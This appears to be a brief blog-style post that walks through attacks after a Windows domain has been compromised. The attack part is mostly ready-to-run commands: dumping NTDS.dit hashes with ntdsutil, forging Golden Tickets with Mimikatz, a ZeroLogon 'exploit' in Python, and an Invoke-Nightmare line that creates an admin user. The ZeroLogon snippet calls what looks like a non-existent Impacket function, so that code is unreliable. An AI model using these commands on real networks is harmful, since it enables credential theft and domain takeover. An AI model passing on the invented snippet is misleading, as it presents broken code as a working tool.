Post-Domain Compromise Attack Strategy and Active Directory Exploits

Listen to this Post

👉 Post-Domain Compromise Attack Strategy

After compromising a domain, the next steps involve escalating privileges, maintaining persistence, and exfiltrating data. Key techniques include:

1. Dumping the NTDS.dit File

The NTDS.dit file contains Active Directory domain data, including password hashes. Use the following commands to extract it:

ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q

This command creates a copy of the NTDS.dit file and saves it to C:\temp.

2. Golden Ticket Attacks

Golden Tickets allow attackers to forge Kerberos tickets for domain access. Use Mimikatz to create a Golden Ticket:

mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /ptt

This command generates a Golden Ticket and injects it into memory.

👉 Additional Active Directory Attacks

1. Abusing ZeroLogon (CVE-2020-1472)

ZeroLogon exploits a vulnerability in Netlogon to reset domain controller passwords. Use the following Python script:

from impacket.examples.zerologon import zerologon
zerologon.attack('DC_NAME', 'DC_IP')

This script exploits the vulnerability and resets the password.

2. PrintNightmare (CVE-2021-1675)

PrintNightmare allows remote code execution via the Windows Print Spooler service. Use this PowerShell command:

Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -DriverName "ExploitDriver" -NewUser "hacker" -NewPassword "P@ssw0rd"

This command adds a new user with administrative privileges.

👉 Active Directory Case Studies

  • Case Study #1: Exploiting misconfigured Group Policy Objects (GPOs) to escalate privileges.
  • Case Study #2: Leveraging Kerberoasting to extract service account credentials.
  • Case Study #3: Using BloodHound to identify attack paths in AD environments.

What Undercode Say

Post-domain compromise strategies and Active Directory exploits are critical for understanding advanced penetration testing techniques. Dumping the NTDS.dit file provides access to password hashes, enabling lateral movement. Golden Ticket attacks exploit Kerberos authentication, granting persistent access. ZeroLogon and PrintNightmare highlight the importance of patching vulnerabilities in Windows environments. Tools like Mimikatz, BloodHound, and Impacket are essential for executing these attacks.
